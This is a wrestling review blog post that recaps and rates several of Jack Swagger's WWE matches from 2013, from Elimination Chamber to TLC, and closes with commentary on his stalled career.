Swagger wouldn’t do much more for the rest of the year due to injuries and various other issues. We’ll pick things up at Elimination Chamber 2013. Swagger would return to TV at the side of Zeb Colter, a man who was basically a caricature of the Tea Party political movement. This would work well for Swagger though, as he would qualify for the Elimination Chamber match where the winner would receive a World Title match at Wrestlemania XXIX.

Jack Swagger vs. Kane vs. Daniel Bryan vs. Randy Orton vs. Mark Henry vs. Chris Jericho

Swagger has new music and Zeb Coulter with him. Jack says that when he talks, he showers us with truth. The mustache with Coulter attached talks about the Louisiana Purchase and how disappointed Thomas Jefferson would be with what has become of the once great nation. He doesn’t like illegal immigrants asking for handouts, so the two of them will make things right. Tonight marks the beginning of a Jack Swagger America. The starters are going to be Jericho and Bryan.

Jericho snaps off some armdrags and hooks a headlock on the mat. Bryan counters into a NO Lock attempt but Jericho rolls out into an attempt at the Walls. Bryan rolls out of that to send Jericho into the corner before hitting some NO kicks. Daniel moonsaults out of the corner but gets sent to the cage on the outside. They fight to try to slam each other onto the Chamber floor but Bryan tries the NO Lock again. Jericho counters into a slingshot into the cage as they head back inside.

Back in and a belly to back suplex gets two for Chris. Jack Swagger is in third and he goes right after Jericho. Bryan gets rammed into the cage wall a few times and Swagger follows up with a splash to crush Goat Face again. Swagger drives his knee into Bryan’s head to mash it against the Chamber floor but Jericho makes a save. Jack sends the Canadian into the cage a few times but Bryan comes back with a running knee to Swagger’s head to put him down again.

The swan dive from Bryan misses Jericho and Kane is in fourth. Kane and Bryan team up on Jericho and Swagger but Bryan turns on Kane with a rollup for two. Bryan wants to hug it out but instead Kane hits him in the face. The NO kicks have Kane in some trouble but the NO Lock is countered into a side slam for two. Kane goes up top but Bryan breaks up the clothesline. Jericho comes back in and plays Animal to Kane’s Hawk in a Doomsday Device on Bryan. That gets two for Swagger but he can’t suplex Kane a second later.

Randy Orton comes in fifth. He cleans house and hits a slingshot suplex on Bryan followed by the Elevated DDT on Kane onto the Chamber. In a cool visual, Orton superplexes Swagger just before Jericho superplexes Bryan to put all five guys down. Henry is desperate to get in and there goes the clock, giving us all six guys in the Chamber at once. House is cleaned again and a World’s Strongest Slam eliminates Bryan to get us down to five.

Henry easily tosses Orton through the glass of a pod in a painful looking visual. Back inside it’s Henry vs. Kane and the masked man staggers Henry with a big boot. The top rope clothesline is countered into another World’s Strongest Slam to eliminate Kane and get us down to four. Henry loads up Jericho but Chris escapes and sends Henry into the pod wall. Swagger helps Jericho out and they hit a double suplex onto the Chamber floor. Jericho and Swagger head back in and a cross body off the top gets two for Chris.

The gutwrench powerbomb is blocked by Jericho but he can’t hook the Walls. A bulldog looks to set up the Lionsault but Henry catches Jericho by the throat and throws him into the Chamber wall. Mark launches Jericho onto Swagger and both blonde haired guys are down. Henry misses a Vader Bomb onto both guys and it’s a Codebreaker and RKO to eliminate the World’s Strongest Man.

We’re down to Orton, Swagger and Jericho but all three guys are down. Henry is applauded as he leaves but goes back inside to hit World’s Strongest Slams on all three guys. The fans are digging Henry here and I can’t say I blame them. Booker and Teddy come out to try to stop Henry and they finally get him out of the Chamber. Swagger covers Orton for two and has early control of the three way fight.

Orton and Jericho team up to throw Swagger shoulder and head first into the post/pod. The slugout is on now instead of eliminating Swagger though which could come back to haunt them. Jericho goes up but jumps into a dropkick for two. Swagger is back in now and walks into a powerslam, as does Jericho. Chris breaks up the Elevated DDT on Swagger with a dropkick for two. The Codebreaker to Swagger is countered into a belly to belly suplex for two more.

The running Vader Bomb (popular move tonight) doesn’t connect with Orton but Swagger avoids the boot to the face and hooks the Patriot Act. Jericho hits an enzugiri on Swagger to break up the hold (why?) and there are the Walls on Jack. Orton breaks up the hold (again, why?) and gets two on Jericho before hitting a double Elevated DDT. Randy loads up the RKO but Jericho blocks it, only to miss the Lionsault and walk into the RKO for the elimination. Swagger immediately rolls up Orton for the final pin at 31:25 to go to Wrestlemania.

Rating: B. This was solid stuff and while it was somewhat obvious that Swagger was winning when they got down to three, the match never got dull or uninteresting as they had a very solid triple threat segment at the end. I’m not wild on Swagger winning and getting a shot at the title, but at least they’ve tweaked his character a bit to make him somewhat more interesting. Good Chamber match.

Here’s his title match.

World Heavyweight Championship: Alberto Del Rio vs. Jack Swagger

After all that, Swagger doesn’t even get an entrance. AT WRESTLEMANIA. Colter goes into a rant about how horrible this country is because of how many other languages people speak now, including Chinese and Yiddish. However, Swagger will fix everything tonight by winning the World Heavyweight Championship. Del Rio wears an old school robe and after the big match intros we’re ready to go.

Del Rio quickly sends him to the floor and sends Swagger into the announcers’ table but gets trippled by Colter. Back inside and Jack sends him shoulder first into the post to take over. A quick rollup gets two for the champion but Jack drops him with a kick to the head. The Vader Bomb gets two but Del Rio counters Jack instead of having his knee wrapped around the post. Back in and Jack runs into a boot to the face before taking a few clotheslines to put the champion back in control.

Alberto stomps on Colter’s hand for good measure before the low superkick gets two. The armbreaker is countered into a kind of powerslam for a very close two as Jack is in control again. Jack takes out the knee and puts on the Patriot Lock but Alberto quickly kicks away. He misses the enziguri in the corner though and Jack stays up. Del Rio comes right back with a series of forearms in the corner and the Backstabber is good for two.

The champion hits a German suplex but takes his time following up. His cross armbreaker is countered into the gutwrench powerbomb to give Swagger a two count and there’s the Patriot Lock again. Alberto is almost to the ropes but Jack pulls him back into the middle. Instead Del Rio pulls him down into the armbreaker but Jack counters that into the Patriot Lock.

This time Alberto makes the ropes before countering another gutwrench suplex into a kick to the head. He limps into the corner enziguri for two as Colter puts Swagger’s leg on the ropes. Zeb goes even more evil by kicking Ricardo’s leg out to draw Del Rio outside, allowing Jack to send him into the barricade. Back in and Alberto grabs the armbreaker out of nowhere to retain the title. It’s as sudden as it sounds.

Rating: C+. This was getting good in the middle but they ran to the finish almost immediately. There’s a chemistry there and I’d love to see them do stuff on the mat and trade submissions for fifteen minutes. Instead it didn’t even get eleven and they cut off the technical stuff to go for the manager. That being said, it’s still a good match but it could have been great.

Swagger’s run was more or less over at this point so the solution was the same as it always is: job him a lot and then throw him into a tag team. In this case it was with Cesaro as the Real Americans. They would be in a fourway Tag Team Title match at TLC 2013.

Tag Titles: Real Americans vs. Big Show/Rey Mysterio vs. Cody Rhodes/Goldust vs. Ryback/Curtis Axel

Rhodes and Goldust are defending and this is elimination rules. Ryback and Axel have both beaten the champions in the last few weeks while Big Show and Mysterio have teamed together I believe once. Ryback shoves Rhodes around to start but gets caught in a half crab, allowing Goldust to come in with an elbow to the back of Ryback’s head. Off to Axel for a nice dropkick, only to get caught in a wristlock.

Axel fights up but Goldust makes a tag off to Big Show who keeps up the arm work. There’s the skin ripping chop and the fans want it one more time. Show does it a third time and Axel sells it like he got shot. Mysterio comes in for some forearms but Axel sends him into the corner. Ryback gets the tag and pounds Mysterio down, only to bring Axel back in for something resembling stereo cross bodies to put both guys down.

Double tags bring in Ryback and Goldust with the champion scoring off the uppercut and a spinebuster. Ryback loads up a powerbomb but gets rolled up for the pin by Goldust, getting us down to three teams at 6:12. Cesaro comes in to pummel Goldust in the corner before it’s off to Swagger for a front facelock. The fans start chanting WE THE PEOPLE as Goldust is sent to the floor for a clothesline from Swagger.

Back inside and Cesaro gets two off the gutwrench suplex and we hit the chinlock. Off to Jack again for a bearhug as Big Show plays cheerleader for Goldust. Goldie fights back with right hands and a springboard elbow to the jaw. Cesaro easily takes him down and we get a short version Cesaro Swing. A Swagger belly to belly suplex puts Goldust down again and we get the Vader Bomb/double stomp sequence from the Real Americans for another two.

Antonio puts on another chinlock but this time Goldust escapes with a jawbreaker. Cesaro can’t break up the tag but Swagger runs around the ring and pulls Cody off the apron. Cody is holding his knee as Big Show throws Swagger into the barricade and Goldust catches Cesaro with a hurricanrana. A powerslam puts Cesaro down again and the hot tag brings in Big Show. Cesaro is thrown all over the ring and a shoulder block turns him inside out. Both Americans get punched in the jaw and Big Show pins Cesaro for the elimination at 14:42.

So we’re down to the two good guy teams but Big Show waits for the champions to get on their feet. A hard shoulder block puts Goldust on the floor and Cody gives him a somewhat angry pep talk. Goldust comes back in for a top rope cross body with Big Show waiting on the impact for about eight seconds. The chokeslam is countered into a DDT for two and it’s off to Cody for a double suplex on Big Show for two. The fans are rapidly losing interest.

Big Show swats a Disaster Kick out of the air and it’s off to Mysterio (remember him?) for a springboard seated senton to Cody. Now the Disaster Kick connects for two on Mysterio and Cody is getting frustrated. Cross Rhodes is countered into the 619 to both champions. Goldust is sent into the barricade by Big Show but Cody sends the giant into the post.

Cody tries a springboard dropkick but gets caught in a powerbomb by Rey (how often do you hear that?) for two. Cross Rhodes are countered again but the 619 is countered into an Alabama Slam which is countered into a sunset flip for a VERY close two. The third attempt at Cross Rhodes FINALLY connects for the pin to retain the titles at 21:06.

Rating: A-. This dragged a bit in the middle but man alive that ending was great. Cody and Goldust are just awesome right now and I’m so glad they didn’t give the titles to another thrown together team. I have no idea why the Usos weren’t in there somehow other than putting in two bigger names. Really good match here though.

We’ll wrap it up with a fourway match for a future Intercontinental Title shot.

Jack Swagger vs. Rey Mysterio vs. Mark Henry vs. Kofi Kingston

One fall to a finish and the winner gets Big E. (on commentary) for the Intercontinental Title at Elimination Chamber. Henry quickly throws Swagger to the floor but gets taken down by Kofi and Rey. The two speed guys get to have a showdown with Rey dropkicking Kofi for two but they have to eliminate Swagger again. Kofi dives over the top to put Jack down again and Rey hits a running seated senton from the apron. Henry is back in and loads up a dive of his own, only to have Swagger take out his leg.

Two straight Vader Bombs have Henry in trouble but Jack has to clothesline Rey down for two. Mysterio comes back with a top rope seated senton for two followed by the sitout bulldog for two more with Kofi making the save. Rey is sent into the post before Kofi bounce up the ropes and dropkicks Swagger down before hitting the Boom Drop. Rey gets knocked off the apron again and Swagger loads up Kingston in a superplex. Henry tries to make it a Tower of Doom but Kofi holds on, meaning it’s only a powerbomb to Swagger.

Henry cleans house but Swagger takes out the leg again and puts on the Patriot Lock, only to have Mark kick him off. Rey hits a 619 to Mark’s ribs and Kofi adds Trouble in Paradise but Jack is on his feet again. Kofi grabs a German suplex on Rey but Jack suplexes both of them at once in a nice power display. Kingston is sent to the floor but slides back in to break up a 619 attempt. Henry makes the save but gets kicked to the floor by Kofi. The distraction lets Swagger catch Kofi in the Patriot Lock for the submission at 8:35.

Rating: C+. Nice match here with everyone doing their job perfectly. I didn’t see the Mysterio knee injury but I’d guess it was on the seated senton from the apron as he went off camera for a few minutes as a result. Swagger getting the shot is a good enough choice as he was the only heel here and Henry vs. Big E. does nothing for me.

Jack Swagger is a guy who has talent and potential to be something great, but the problem for him now is how brand damaged he is. People see Jack Swagger coming to the ring and it’s almost an automatic loss. He’s a guy that would need to be entirely repackaged and given a new character. Not Jack Swagger doing something different but not Jack Swagger anymore. Unfortunately there’s not much you can do with that when Swagger isn’t really a character that you can just have doing something new. He needs to be something completely different, because this character ran dry about three years ago.

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